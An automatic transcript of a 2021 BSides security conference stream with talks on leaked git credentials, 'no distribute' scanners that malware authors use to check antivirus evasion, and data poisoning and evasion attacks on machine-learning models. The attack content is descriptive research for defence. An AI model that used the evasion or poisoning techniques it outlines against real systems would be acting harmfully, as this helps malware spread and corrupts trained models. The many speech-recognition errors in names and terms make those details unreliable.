BSidesMEsh21 Day 2
Show transcript [en]
[Music] do [Music] um
[Music]
[Music] [Laughter] [Music]
uh
[Music]
ah [Music]
[Music]
you [Music] um [Music]
[Music] [Music] do [Music] um [Music] do [Music]
do
do
[Music] do
[Music] do [Music]
[Music] so
[Music]
[Music]
[Music]
[Music] [Music]
[Music]
you
[Music]
um
[Music]
[Music]
[Music]
[Music] um [Music] [Music] um
[Music]
me [Music]
too
[Music]
[Music]
[Music]
[Music] you
[Music]
[Music]
[Music] do [Music] do
[Music] do [Music] do [Music] do
[Music] do [Music] do [Music] [Laughter] [Music] do [Music]
[Music] do [Music] do [Music]
[Music]
[Music] do [Music] do [Music] so
[Music] so [Music]
[Music]
[Music] so [Music] so [Music]
[Music]
[Music] so [Music] so [Music]
[Music]
hello welcome and thank you for joining us today on the second day of besides mash21 yesterday we hoped that both red and blue teamers could find something interesting we learned a lot about devsecops container security and the past there as well as the human aspect of information security and i'd like to take a few moments to bring the humans in our communities into focus first of all i'd like to thank our sponsors for making this conference happen please visit um our sponsor channels our argon um krypton and neon sponsors have goodies prepared for you so please check out the graylog multego airbus cyrus google huawei inside siemens effencert and schusberg sponsored channels we also have a lot of um
support from our helium sponsors which we would like to call out the hamburg port authority lotto 24 place infosec yes we hack exa beam and zipaco um please visit please don't forget to visit their their slack channels for goodies and you can also find out about opportunities at companies that support the infosys communities for which we're very grateful for i want to send a huge thank you to our speakers and workshop trainers for taking the time out of their very busy dives and jobs to share knowledge with us and i'd like to extend this gratefulness to all the participants you are investing your time in discovering something new and they're actively taking part in the events even
under the special circumstances created by online um presentations and talks and workshops and decorum pandemic um i'd like to highlight the fact that our community only benefits from a diversity of opinions and perspectives please be respectful to each other welcome coach and advocate for every member to be successful infosec itself is such a diverse field that each and every individual brings a unique contribution no matter their gender race socioeconomic background religion sexual orientation and many more dimensions so we need to make sure that everybody feels welcome and is included there are so many dimensions that i could probably take a full talk to to enumerate how diverse our community is i invite you to have lots of fun and
please exchange ideas ask questions take the swag and maybe update your twitter filing list we're all a bit sad for not being able to meet in person but technology these days has went quite far so please take some time to talk to other people on slack maybe follow up with them on social media and such um last but not least i'd like to thank all the organizers everybody who made this event possible has spent um tens to probably hundreds of hours across the hamburg and munich teams to make the event happen you heard yesterday from henrik that both besides munich and help sites are grassroots efforts started in the local mooc sac and aha security meetups you'll see many
of us at the end of today raising a glass to hopefully a successful event since the first editions in 2017 in munich and 2019 in hamburg our teams have been lucky enough to be stable or even expand though our life priorities are changing so we welcome new members motivated to keep a community even develop and answer the needs of each and every participant and with that i'll see you in a few moments [Music]
[Music]
[Music] and we're back today i am very honored to have next to me jennifer janeska who has worked in various roles in information security for over eight years from penetration testing to securing critical infrastructure to teaching security design hygiene to software engineers prior to her transition to information security jen worked for over 15 years in it as a developer and leader in the areas of education telecommunications and semi-conductors she volunteers her time helping with besides munich of asp and moksek and she enjoys hiking running and making ctfs and building smart things or maybe breaking them and um then back to jennifer and i will hear her presentation about infosix secrets hey my name is jen genesco and i'm here
today to talk to you about infosec's dirty little secrets but before i get started i'd like to take this moment to say thank you to besides mesh for having me today for giving me the opportunity to speak with you all about a topic that i hold near and dear to my heart i'm jen janesco once again i am originally from the us but i'm living here in germany i've been working in it since 1997 and in the infosec space since 2013. i have had different roles within the space of information security so i've worked as a penetration tester i've done secure architecture and design i've also done security reviews for critical infrastructures and currently i work as
a lead in a software security capability at a large retailer and so without further ado let's dive into infosec's dirty little secrets
so on this slide you can actually see a number of different headlines now these are all breaches so health information breaches personal information breaches supply chain breaches and also system breaches and all of these breaches boil down to one root cause credentials that have been publicly disclosed in the internet and so usually the disclosure is through some sort of git repository and when i get repository it's usually through github or git lab or bitbuckets and so the focus of the presentation today is how do these secrets get into the wild and what can we do about these secrets now before we even get started though really how big is the problem um here we have a few examples of
of big breaches that occurred as a result of credentials being exposed but really is it a problem like how quickly could an attacker really leverage a credential that's out there and is it really a one-off kind of scenario and so uh andrei dijk actually had exactly this question and in november of last year he actually posted a really interesting twitter thread where he dove into okay i am going to release some aws credentials to both github and git lab how quickly if at all will those credentials be used to compreh compromise aws resources and so he committed the credentials to both github and git lab and for github it was 11 minutes until compromise in gitlab it took slightly over an hour
for compromise that being said slightly over an hour for a personal repository where credentials have been pushed to the repo is super fast 11 minutes is amazingly fast and so you have to think in order for that 11 minutes to occur there has to be scanning at scale being done for git repos across the board then in addition to this in order for that 11 minutes to work there has to be some sort of automation in place in order to check to see is this a valid credential and so those two things combined indicate that the attackers have taken the devops credo of automation to its fullest kudos to them but it's super bad for us the defenders
because 11 minutes to compromise doesn't leave us a lot of room for error but really okay so the attackers have automation in place they're looking for for for credentials out in the wild they can automate testing to see if the credentials are valid how many how widespread is this problem so for this um i've picked out two studies for you so in 2019 some researchers from the north carolina state university put together a study and they looked at github only and in github they found four easily fingerprintable secrets that slightly over 500 000 had been leaked into the wild of those slightly over 500 000 there are slightly over 200 000 that were unique so that's 200 000 unique credentials out
in the wild in 2019 in github so fast forward to 2021 um there's a company called get guardian and they did a study from 2017 to 2021. um and keep in mind guardians sell services so secrets management and secrets detection detection services but they did a study and there in the past year they've seen an increase of 20 percent of git of secrets being exposed in github 20 increase so we have automated detection and exploit we have increase of secrets being exposed as an information security professional i just want to shake my fist at the universe and scream why can't we get this right why can't application engineers keep their secrets out of the get repos that are public
so we're going to take a look at that a little more closely now because if we can answer that maybe we can figure out a way to help them so that it doesn't happen as often and we can reduce the likelihood that a breach can occur that will result in pii data being compromised supply chains being compromised or other systems being compromised so meet ng ng is our application engineer and ng works for a pretty big company and they have a really cool app and the customers who use the app really like the services that are in the app and this app generates quite a bit of revenue for the company ng is super proud of working on this app
uh works very closely with the product owner to develop the features that have been prioritized for the app and to gain feedback from the customers so that they can improve the features it is and she really likes actually building apps because it's building something from nothing it's building something from code that people can use and actually benefit from and ng is super proud of the work that they've been doing on this app but a security review was performed on the app and the security engineer working on this this review noticed that ng had accidentally pushed code to their public repository their personal public repository and in it was a database password for the application now ng remembered actually pushing that
code out to their public repository um they wanted to actually take some of the work that they had been doing internally push it out there so that they could actually open source some of it and so once ng realized that they had accidentally pushed that database password out there they went into the code they deleted it they committed the changes and pushed it to the repository and ng felt like they were done but the security engineer came back and and said no no no you can't do it that way what about the get history when i run a scan i i can see that you've you've removed it from the latest commit but in the git
history that password is there multiple times so what about that now ng a little bit enervated but not completely beaten down decides okay uh i need to figure out how to clean out my git history so that this password isn't there so spent some time googling uh reading through some medium articles and then did some trial and error and then actually was able to delete those passwords from the public repo now the entire history was no longer intact from that particular repository but the passwords were gone and so from ng's perspective the history is clean and so there's nothing more to worry about or is there and you started to think okay i accidentally pushed this code to my
personal repository which was public and that database password was there there's nothing stopping me from accidentally doing that again so maybe it's the case that i shouldn't be storing my database password in my git repo okay so then angie spent some time looking online to see okay what are some options and one of the options that made ng most comfortable was the option of storing the database password in an environment variable in the production server and manually setting that up on deploy that way the database password wouldn't be stored in in the git repo and so it would be safe from being accidentally pushed out to the public and then it would be self-contained in the production server
but the security engineer came back and said you should not and don't store your application secrets on your production server if an attacker were able to compromise that server and gain access to that server the attacker would be able to gain that clear text password straight out of the environment variable and then use it to access all of that private data stored in that database just as if you had released that password out in the public
so i'm going to take a second to stop here we need to take a breather and we need to think about the way that the security engineer has been interacting with ng think about the language that the security engineer is using you shall not don't you shouldn't these are all negative formulations saying what ng should not do but ng doesn't make money for the company by not doing things ng brings value to the company by creating things by doing things and so at a minimum as an information security engineer we need to start saying you should do this you should by telling an application engineer what they should do it gives them the opportunity to go and
exercise that possibility it gives them direction of where they should look to solve the problem and there are many information security engineers who already get this um and there are some people who are sort of changing and crossing the line and realizing that this is the way that we need to start talking to our application engineers so that they have the possibility to secure all the things and the first step or the common step when you start talking you should and this is what you often see in security reports is referencing standards and so here in this case we have an olaf's top 10 proactive control and the control is protect data everywhere and if you look at this
control there's actually an entire paragraph dedicated to application secrets and how to manage them an entire paragraph think about that application secrets management is actually quite a complex topic but there's there's a paragraph there at least and it says you should and in that paragraph there are a list of things that should be done with a couple of examples of what could be done although it lacks context but when we're thinking about how to manage an application secret we actually need to take a step back and think about okay i have this secret but really what kind of secret is it because an application secret depending on what kind it is will require different types of treatments
and so does it have crypto material so are there private keys involved if so then maybe we need to think about an hsm is it a build secret this is a type of secret that you use to actually deploy the application to allow you to assemble the application and push the code and the system out to whatever environment for deploy it is only used during the build process and so if it's that kind of secret then it probably belongs in the build environment and needs to be managed in a very specific way is it the type of of secret that's a runtime secret the type of secret that allows a particular system to access another system get information or do
initiate some sort of processing so that the customer using the application can do dynamic things within the application if that's the case then it's a runtime secret and in this case for ng it is a runtime secret so the database password allows the application to go access a data store pull data from it so that it can build a dynamic experience for the customer runtime secrets are often managed within application secrets managers and so when looking at the slide on the top right hand corner there's a list of four different application secrets managers there so aws secrets manager gcp secrets manager hashi corvalt and azure vault these are four different secrets managers made for four different contexts
so these may not even be applicable for um ng's context so if ng is running in la cloud these may not actually apply there may be something specific to ali cloud that ng wants to look at so the this problem space becomes quite complex quickly depending on the type of secret that you're managing and then also what space you're working in and where your code is going to run and so to give you an example of how this complexity turns into time um i was recently speaking with a friend who's wise in the ways of application security and wise in the ways of application development and it took him one week to figure out how to connect
his application to the secrets manager inside of aws so that he could actually interface with that and actually get the secrets out so that it could be used during runtime one week now compare that to setting up the variable or the database password inside of an environment environment variable where it would take two to four hours to set that up and get that working one week versus a half day keep in mind that ng is going to be evaluated on the features that ng delivers to production and the the benefits that and the feedback that come from the customers one week versus a half a day if ng is under pressure and she's probably gonna go with that half day
option not and not the secure option we need to figure out a way to reduce the security friction so that ng can deliver security value and feature value at the same time now keep in mind that one week didn't take into consideration other application secrets security issues like creating strong passwords generating random values securely sharing secrets securely between teammates managing access to secrets once they're in the various places deploying secrets securely rotating secrets retiring secrets and recovering secrets this is all part of the secrets management life cycle and if ng spends a week on each one of these things no features are going to get developed customers will stop paying attention to the app and the company will start losing
profit and then maybe ng's job goes away and this is not something that we want for ng we don't want it for our for the app that's out there because it's generating the revenue that's paying our paychecks as well so we need to figure something out we need to reduce that security friction so we need to give our application engineer some options when i say this we need to reduce the problem space for the engineers so that they have limited options for their context limiting good options for their context which reduces their lead time to secure changes for their application so they should be able to deliver the application in a secure way within with the least amount of security
friction from within the development process which leads us to information security's dirty little secret we can't know as information security professionals and engineers all of the options for all of the contexts we still need to help secure all of the things this is a conundrum in information security where as an information security professional people often look to you for all of the information security answers and the challenge with that is there are so many different languages there are so many different frameworks there are so many different build environments there are so many different target deployment environments there is no possible way that one person can know them all and so we need to figure out how to work
with our application engineers so that we can give them the options that they need in an efficient way and not put too much pressure on ourselves to know all of the things so how do we get there how do we how can we tell them here are some options in an effective and an efficient way first we're going to start small pick something pick something doable i don't care what it is but pick that one thing or that small subset of things pick something small that you want the application engineers to be able to do and then define it if you don't have any ideas look to some standard that's going to give you sort of
a maturity model approach to uh organizing the way that you roll things out so here for example we have the software assurance maturity model from once again owasp and you can see that this is actually a scaffolded approach to secrets management there's maturity level one two and three and so if you don't know where to start go to sam look at maturity level one pick a small subset of the things from that list and roll it out try it work with some teams but first select and verify whatever tooling you need before you actually start doing the roll out if you don't have the right tooling in-house make sure that you get it if you don't have enough of the right
tooling in-house look to see that you can get more licenses or figure out how teams can get more licenses make sure that you have the right things in place before you start saying here are your options because if you don't have the right tooling or a way to get the right tooling they don't have the options to use it so make sure that you have that in place it seems simple but it is absolutely imperative that that part is squared away remember we want to reduce the friction from securing all of the things have the right tools in place so for example if you wanted the the teams to actually start scanning uh their code for secrets upon commit
or push to repository then you need to look at okay what tools are out there what tools fit with the different contexts of the teams so the right operating systems or the right build environments or the right frameworks or the right languages what functions with what and then make sure that you've picked the tooling that will fit the context if you don't know what the context is work with a couple of teams to figure that out so that you can make sure that at the start you have the right tools to actually fit what the teams actually do then once you have picked something to do and tooling to support it trial it with some teams
don't do all of the teams at one time pick a few teams a few key teams to help you figure out does this approach work and when you're picking the teams you can think about trying to pick a variety of teams so that you can get different kinds of feedback from different teams try teams with different languages or try teams with different build tools or try teams that use different frameworks or try teams that use different methodologies take a look at your application security landscape landscape and your application development landscape within your organization and then try to pick key teams who are going to help you build that profile and help you test the solution that you're
suggesting
once you do that collect feedback from the different teams and if it works and you haven't rejected the actual approach that you initially picked out document the success so document the things that work and how you got it to work document the things that didn't work and what what the team should avoid also curate any code or configuration artifacts that come out of the process so why do we want to to do this it all boils down to something called internal search so there is a a study called the state of devops which comes out on pretty much a yearly basis and it's from an organization called accelerate and what the study does is it focuses on
high performing devops teams or high performing agile teams and it looks at their practices and what contributes to their success and one of the things that contributes or actually adds to the productivity of of teams is this thing called internal search and this is where teams internally share good practice and they share good code examples so that other teams within an organization can pick up those good examples and build them into their into their own code base and enter their own products and by doing this what they do is ensure that it's easy to find they can actually employ it and it fits their context because it's usually the organization context they worked because they've it's within that specific
context all of the niggly problems of onboarding and getting things to work have been worked through by another team and so you have kind of a streamlined way of onboarding to a particular process or a piece of code and so this is called internal search it speeds up everything so if you can somehow build the security process that you have worked with other teams to refine and make better and to make code available for make it available in that internal search so that other teams can take it build upon it amplify it refine it and make it even better
once you've gone through that process and you have something working and in place and it's being amplified and it's being replicated and it's being improved repeat the process go back to the beginning pick out the next thing and start the process again don't worry about the fact that initially it's only going to be a little bit that you're implementing that little bit is more than where we were when you weren't doing the implementation and over time if you keep repeating and keep building you're going to build up a set of practices that are doable by teams that teams are actively using and actively improving and in this way we end up fighting against information security's dirty little
secret we can't know it all we have to work together we have to join forces with our application engineers and we each need to use each other's strengths to secure all of the things we need to be avoiding you shall not we need to avoid you should and we need to get to here are some options so that we reduce complexity and we improve lead time to secure changes when all is said and done we will have worked with our application engineers and we will have secured all of the things thank you for your time today uh i hope that you have a great rest of the day and yeah i hope to see you again next year
and we're back with jen who talks about the anatomy of the secrets life cycle and we have a few questions on our infosec dirty little secrets um slack channel the first one is from morton who's wondering if it would have been easier to invalidate the credentials instead of purging the git history that sounds like an easy task and in theory what you would want to do is naturally invalidate whatever credentials that you have that you've exposed because um that's the easiest way very clearly to make those credentials not usable um the challenge with that is a couple there are a couple of challenges with that there are some systems where you can't change the credentials and so in those cases you
definitely want to extract the potential and get rid of it as quickly as possible um there are other cases though where that credential that you've exposed you have reused or your team has reused um teams tend to reuse credentials even though that's not good good uh good secrets management and which is another aspect of secrets management altogether as having different credentials for every system um but um yeah so if you've reused that in different places it may be difficult to know first of all where all of those places are um but then to go into all of those systems and to invalidate the credentials so your best bet is remove it invalidate it and hope that you haven't accidentally
reused it somewhere so all of the above well um i have a follow-up question you were talking about sharing success stories and i really like that the presentation has a situation that didn't go so well do you have tips for how to share things that went wrongly particularly in situations where in the development team and the security teams don't trust each other so that that actually is a really hard question and that's actually um very often the case so where the security teams and the development teams are at loggerheads because the security team is putting all of these requirements on the the application engineers and application engineers of course want to do a good job but they can't fulfill all
of the requirements that security is putting on their shoulders and so there are different expectations um and capabilities to actually meet the requirements or the yeah the expectations of the security people and so there's this imbalance um in these cases that like solving that bigger problem is a cultural change and you it's best if the security organization can figure out a way to partner with the development side of the house so that you can actually secure things together but in the cases where you are actually at a point where there is this lack of trust between the two organizations you need to find some standard ways standard mechanisms um to allow both teams to be able to analyze the
situation in a structured way so that you don't end up having blame blame is probably the worst thing that you could have in those kinds of situations where a breach has actually occurred and so you can there are definitely protocols that you can search for online for blameless postmortems where you actually go through and you look for root causes um where nobody is at fault but you look for what is the behavior or the condition that caused the behavior to lead to the problem um you can look at the five lives so asking why why is it this way and when you get that answer ask well why did it happen that way and once again you're trying to
drill down to what is that root behavior or what what is that root condition that caused the breach to begin with thank you so much and we have two additional questions that um i think that it's the best that you answer on slack one about grade listing and one about scanning for credentials as part of ci cd the slides will be shared as well as the recording and we want to thank jen one more time for being our keynote speaker and sharing such an um interesting situation and i guess something that many of us have been uh meeting in our daily jobs i'd like to call out that our awesome sponsor inside attack logic has a raffle of raspberry
pi starting now and um please join the inside attack logic sponsor uh slack channel to participate introduce yourself shortly and um tell us what your interests are in the info tech community and with that jen will actually be switching hats and will become a moderator for the next session so see you in a moment [Music]
[Music]
[Music]
[Music]
[Music]
[Music]
[Music] hey infosec fans we are back with besides munich um welcome back and right now we are stepping up and we are going to welcome matthieu gaucho there and florian morschett um so hey guys how are you doing hi very well fine great um we are about to have a really cool presentation from both of these uh gentlemen called no distribute scanners a perfect testing ground for malware developers so uh sit back actually don't sit back and relax actually jump into the slack channel ask some questions and pay attention because this is actually a super interesting topic so uh let's see the presentation hello everyone and welcome to no dispute scanners a perfect testing ground for
malware developers so in this presentation we're going to introduce ourselves why we chose this topic uh we're going to have an overview of the nursing scanners how they are used by cyber criminals and we're going to end this presentation by taking a look at an example of an investigation so my name is matthew gerschler i am a subject matter expert at montego and i have a background in malware analysis hi my name is florian murchads i'm also a subject matter expert at my table and i have a background in digital forensics and incident response so what are noise uh scanners so first of all nds's nordic scanner are also called counter antivirus services by some other organization like europol for
example so they are a scanner meaning that they will match a file against several anti-virus services but the main difference between this website and for example virustotal is that various total will be sharing samples with their partner this is why it's not very interesting to use virustotal for a threat actor because you do not want your sample to be studied you do not want your sample to be shared even before you release them in the wild at the time of writing there was about 24 nds that we know of and six of them were active uh this concept of noisy scanner has been around for a little bit more than a decade now and so far as we've seen it has only been
marketed to cyber criminal so we've broken down the use on nds in three different parts submitting your file how the nds is going to analyze it and then how dnds is going to report on it so we're going to break these different steps in the next slide so the first one is submitting a sample to an nds so you can do so by using an api like here we have an example of the din check api it is a script running a client side to upload a file to deanchex backend and on the left you have a screenshot of cyberseal a crypto developed by the same protector behind data protector encryptor is a type of software that can
encrypt malware to make it harder to detect by security programs this protector decided to create their own nds and integrate it into cyberseal meaning that every time a threat actor was using descriptor they would have the result of this encryption checked on the nds against several anti-viruses so that's how apis are used in an nds but the most common way to submit a file to an nds is by using their website every nds has a website they usually contain information about the pricing what kind of scans are available and some publicity sometimes so on the left and on the right you have two screenshots of a submission panel for an nds two different nds the one the
left is pretty simple you can upload the file and that's it whereas the one on the right is more complex you have several options to tweak the analysis and have it closer to the condition that your malware would encounter in the real world you can also choose against which antivirus your malware is going to be matched against to replicate better the condition that your malware is going to encounter but the main difference between these two nds is not actually the complexity of their submission panel it is the type of scan they offer the one on the left is offering static scans whereas the one on the right is offering dynamic scans so what is the difference
between these two types of analysis well static analysis or static scans are basically anything you can do on the file without running it so this can be for example a string analysis like a error rule simply or checking the export of a portable executable or checking the entropy of a file to see if it is packed or not it would be pretty easy to run such an analysis you just need to have some av installed and then you would use the command line to run an analysis on a file and you pipe the output of this to the nds website and that's it you would have your analysis up and running that would be also very easy to update
your antiviruses you could all add them on the same machine whereas dynamic analysis you actually need to run the file and that includes that gives a sort of problems if one wants to run a dynamic scanner because that would entail to have one machine per antivirus because if you run the same uh 30 antiviruses on one machine they're going to parasite each other and parasite dna this results so you don't want that you if you want to run a sample against 30 different av you need 30 different vms so it's a lot of processing power you need a way to revert this analysis revert these virtual machines back to the way they were before the analysis so oneness does not
parasite the next one and you also need to find a way to update daily these um antiviruses so it's a lot of processing power a certain geologistic that is a lot of things that you need to do compared to aesthetic scanners and this is why there are fewer websites offering dynamic scans compared to static scans so we saw how to submit a file to an nds we saw how it was going to be analyzed let's take a look at the reporting so on your screen you have three different kinds of reporting on the left you have the simple web page in the middle you have an image that you can share a dot png and on the right you have several
textual representations that you could use to embed these scan results in a web page or in a forum post it's also possible to use the api to get the analysis results let's note that while some nds offer all these ways of reporting the main way and what is always available on every nds to report an analysis is the web page every time someone uses an nds they are going to be given a link to the analysis result that they will be able to share afterwards and everyone with access to the link can access the analysis result so what are the business models used by ndse basically you have three types of plan so the three scanners that offer
static scans only they seem to make money on ads then you have the pay-per-scan scanners that offer both type of scan dynamic and static although there is a big price difference between stack scans and dynamic scans static scans are going to be around 10 cents while dynamic scans are going to be around 3 so this huge price difference is explained by the different difficulty to run a dynamic scanner and then you have a subscription-based one for which you pay for a day or four months and you have access to a certain number of scans so you have a lot of different subscription they range from 15 for a day or 300 for a month then to pay for
actually these services to actually use the nds you can use different crypto currencies but also some of them actually use some online payment systems like paypal bitpay or web money thanks mathieu and now as we know how ndss are working we talk about their usage the first is marketing for cyber criminals here they make use of nds reports by showing that their malware is evading until values detection it is most likely used for makeup as a service promotion and advertisement because it is a selling point to convince customers that they don't buy burn malware or fake services this also generates the trust between the provider of the micro services and the customer another common use case we assume is
development of malware with the capabilities of using apis to test malicious software for detection it will speed up a successful development process for malware another aspect is to use their api capabilities in malware tools like the the cyber steel crypter which material was talking about which enables user um to uh to test their directly generated or packed or crypted malicious code in the same tool lastly others we assume in this use case group individuals which are testing their software and tools it could be that red teamers and penetration testers test their tools before an engagement and most likely will burn them after usage then we have crackers which proves that their software is not detected by the antivirus software
on the next slide you have features that support the previous main use cases the first one is the av block list checker which will detect infrastructure exposure and report the bad guys at their domain which maybe is used for c2 communication is burned or um published also the periodic scans where bad guys can make use of during campaigns to check if their sample is burned by virus total or different other antivirus software detections that now back to material and he will tell us something about the user base thank you florian so uh what we did is that we wanted to explore if these ndss had a specific community and were used by specific language users so we took basically a
domain of these ndss added them in multigo and searched flashpoint data for posts mentioning them then we tied this post to forums which gave us breakdown of which forums were used the most to talk about which nds so that is the graph on the right and on the left are isolated part of that graph the top three nds that are on top three on top right and the forms that talk about them the most this gives us a language breakdown for each nds by observing the language of the top three forums in which these mds are cited so for example for dean check on the top left you the top three forum talking about it are russian speaking english
speaking and russian speaking on top right various checkmates you have english speaking russian and brazilian portuguese forums and on the bottom for noisyboot.com you have arabic english and brazilian portuguese so from there you can see that each nds is more used by a certain linguistic community thanks matthew i will dive into a short investigation on the data which we currently have in this example on the next slide we found a post of the tool x tool free version three which is a hacking tool and the features are of it it's generating usernames out of leaks and also the passwords it's also can scrape proxies from different sources and it also can try to crack their accounts so in this case
we found a post on the nalt dot to forum where a stranger posted this tool with also the antiscan dot me report to prove that this is not detected by an antivirus software on the next slide you can see that we also found this example of x203 with a different name with w extract.exe and then a little bit space and then dot mue on virustotal the file name itself it's uh pointing to the wxtract.exe which is integrated into microsoft system features for extracting archive files also we found that this tool makes some communication to different domains unfortunately during our investigation their domains were not um available but we can see in the history that this domain has
also served some other malware samples um which are um tracked by virus total on the right side you can see the cracker alias which is um as a string in the code and you can see that is the stranger or the alias is kamada and he has distributed um this code on cracked dot to we found this this example also on the null dot to forum which is referred by the recorded future document on the right that's it for the first part of our investigations we're trying to generate more data and working on this currently and if you have any questions give us a shout and just send us a message on twitter or directly
on linkedin or now all right so uh thank you uh florian and matthieu for that presentation um we naturally have some questions for you um and so uh i hope you both are ready and i hope you're holding on to the table so some of the questions that uh that came through the slack channel um the very first one and i think um you may have addressed it in the presentation but let's just ask it anyway um is an nds like a sandbox uh yeah so we already addressed this in the presentation but basically uh you have two kind of ndss as we showed like the dynamic one and the static one so to run a dynamic one our suspicion a
very strong exhibition is that you do need some kind of system like a sandbox to execute your sample in secure environment to be able to reset it for the next analysis to be able to update the av in a correct way and to provide a satisfactory analysis you would need some kind of sandbox okay great um okay and then the next question is um so are there some nds providers so you've talked about all of these people who provide this as a service or these organizations that provide it as a service are there any nds's or services that have emerged as leaders within the field like once that seems to be the standard go-to for people who would like to make
sure that their their malware will be basically accepted yes uh frying you will take this one or should i you can you can go on all right uh yeah definitely uh one that has been um surviving for the years is dean scam basically it has been around since 2016 which is pretty big for an nds big longevity right there and it is the only one to my knowledge at least that has survived throughout the years and that is offering dynamic scans for the static scans no distribute.com seems to be in the lead if we just look at the messages that we we have data from companies such as intel 471 and flashpoint and they look
at the messages on forums public forums and so on and retribute.com is the one that usually comes up in the lead for static scanners super interesting okay um and then i guess we have time for basically one more question so let's get to that um i'm reading here uh you have actually you introduced some investigations that you're doing at the end of your presentation uh what is your long-term goal or your big picture goal for these investigations and where do you hope to go next i can go um we trying to get more data uh from the um the anti no distribute scanners and try to to find some really interesting samples we found also there are
people who are providing the for example marco or um document vulnerability exploits um and um sending that this out and providing us as a service for for selling this and we try to find more because some of them we have found are not uh distributed through virus total so they are unknown so that's vulnerabilities they are out there and maybe we want to track them and find the relation between them and also uh how much are out there which is northern virus total and maybe used in the wild and yeah that's that's them yeah so well thank you so much there are a couple of questions that have come through in the slack channel since we've
started talking so please take a look and answer those thank you so much for your time today thank you for the talk and we're going to take a few seconds now a little break and we'll be back shortly with our next talk so thanks once again guys all right thanks [Music]
[Music]
[Music]
[Music] all right so we're on to our next presentation uh this presentation is from let's see it's from it's montine and uh he is a security researcher who's been doing research or actually been working in the information security space for over 20 years and he holds roughly 20 patents so he is a very busy person his talk today is ai in a minefield learning from poisoned data and unfortunately he can't be here directly with us today because there's something that's taking him away and preventing him from being actively participating but we have jonathan azaria with us today to answer questions so hey jonathan how are you doing hi thanks jim hi everyone my name is
jonathan zaria i work in the same company as ethic i'm a data scientist we've run this presentation together before so i'm just going to answer questions once it's done talking okay super well then um sit back or yep jump into the slack channel uh listen to this presentation which is super interesting and we will check back and ask questions afterwards thank you for joining me in the talk about ai in a minefield learning from poison data i'm itzik mantin lead scientist at imperva in the last 21 years i've been innovating on security algorithms under intersection i love math i love algorithms i like the game of understanding threats and designing mitigations and you can see a
couple of pictures of what i do in my spare time i will start with speaking about the ai and ai threatened landscape i will then zoom into the threat of data poisoning about when why and how this threat is is applicable and what can we do about it i will then speak about uh how the data poisoning threat uh is uh uh realized or potentially be realized uh when building a web profile for the sake of web security uh and we'll end with the summary and conclusions uh no doubt we are in the ai era artificial intelligence systems are everywhere and are changing the way people do almost almost everything uh and the ai era is
in fact also the data error because data is the fuel that uh that makes all these uh ai systems work and ai and data have huge contribution to many many domains however this contribution comes also with several caveats which we tend to uh to ignore or at least to uh to underestimate and we'll speak about some of these caveats in this session uh most of you are probably familiar with the gartner hype cycle for new technologies so uh equivalent to this uh you can think of a security lifecycle for new technologies uh new technology begins with uh very little thinking about security or maybe no thinking about security uh people are focused on the technical
obstacles and are excited with the applications and the opportunities uh at some point someone discovers that this system this technology behaves very odd when certain input is being fed to it and then you have another vulnerability and another one uh when the technology meets uh materiality uh and and it sometimes reaches a situation where people ask themselves whether this technology will ever be uh uh be usable in a safe manner uh but at some point uh security researchers and uh and domain experts start to work together on building methodology on modeling attacks and modeling mitigation techniques and uh then we get to a stage of a healthy development of the technology in a safe manner and it
reaches at some point a plateau where all the the major threats are are already being uh understood and the threat and how to mitigate them and still new threats are being discovered all the time and new mitigations but but the situation the situation is essentially uh stable so we've seen this for a web in the 80s for mobile in the 90s and now we are seeing this for ai as well i think i think in the last couple of years we're starting to see really the discussion about ai threat landscape more seriously than before and what you see here is a typical machine learning system uh there is the training part where training data is
being fed into an algorithm that builds a model this model can be a classification model it can be a regression model can be many other things and then this model is used to classify or predict or to process inputs data this is called the inference and the result is a prediction or classification in some cases in some systems the result of the model is being fed back uh uh to being evaluated in order to continue and improve the algorithm or to make it work for a dynamic environment for example now when you're looking at at the system from an attacker perspective uh then if the attacker is inside or if the attacker was outside but somehow find
his way in by malware infection and fishing um whatever then he can do whatever he likes the sky's the limit he can tamper with the model you can steal the model he can change every particular decision the model makes i can replace the model with his own uh he can of course steal the data however even if the attacker does not uh have a foothold inside and is outsider then still there are plenty of things that this attacker can still do some of them are called evasion or deception or it's very serial examples most of you probably uh heard or so this con very concerning examples of how you add a couple of stickers to uh to a traffic assign
to a stop sign uh and then the ai engine that uh within the autonomous vehicle looks at this uh this stop sign and identifies it as a speed limit sign uh very concerning of course can have devastating consequences uh and from i think all the times where where someone tried to make um uh to thwart uh machine learning model usually it was not very hard it was pretty easy to do that because machine learning models uh uh when you build something without thinking of an attacker and the attacker comes then probably you won't be safe we we know that from many domains and ai is not different than that uh training data poisoning will speak in
depth about this threat later training data leakage is slightly more esoteric a thread but still an important one in many cases when you build a model data from the training data leaks into the model and this data can sometimes be extracted later on and whenever you use sensitive data for the training and usually you use sensitive data for the training it can be either pii or health records depending on what exactly the model that you're building uh but uh it will probably be sensitive and then the threat is is real and important to uh to understand uh and to uh to evaluate and to mitigate and so how does a data poisoning work uh on the left side you can see a
linear classifier that is uh aiming to separate between the red triangles and the blue and the blue dots now if you only change the location of a single point then you get a completely different uh uh classifier it is still effective but it is different and really um it is very hard to to predict or to uh or or to uh to restrict the change in them in the model construction uh due to the change in the in in a small number of data points and on the right side you see even a more uh a deliberate attempt to uh to thwart the model construction uh again and the model here comes to separate between the blue and the red
and the attacker now puts red dots in well in in places that uh it is clear it will make the model uh very different than what it was before and as you can see the new model now does pretty lousy job separating the the blue from from the red exactly and what the attacker wanted to achieve this data poisoning methodology terminology discussion uh is pretty new it's i only met it in the last couple of years however the threat itself is not new it is all it's almost as old as the internet i think at any time like myself and you are looking at the trip advisor hotel review then you're asking yourself is it a real review is it a
fake review is it the hotel owner now that is trying to convince me that this hotel is very good although it is not or it's a competitor uh and the same thing the trip advisor also have the same concern uh so the threat of data poisoning is there and people tweet it and treat it uh and it is there whenever you have um rating system it can be uh e-commerce like amazon or it can be travel like a booking or google or trip advisor or it can be even movies like netflix or imdb whenever you have a rating system and the decision of this rating system is meaningful for someone then probably someone has motivation to
to make this system making correct decisions and then you have the data posing through them usually people understand that and and treat it in one way or another one of them of the of the first more popular uh research fields for uh data poisoning threat and mitigation is the area office of spam filters um maybe one of the reasons is that this is one of the the places where machine learning proved itself effective against a cyber security threat and on the left side you're seeing a a model skewing attack on a google on gmail spam filter uh the attackers uh created many many um messages uh and classified and labeled them as benign and these messages were had
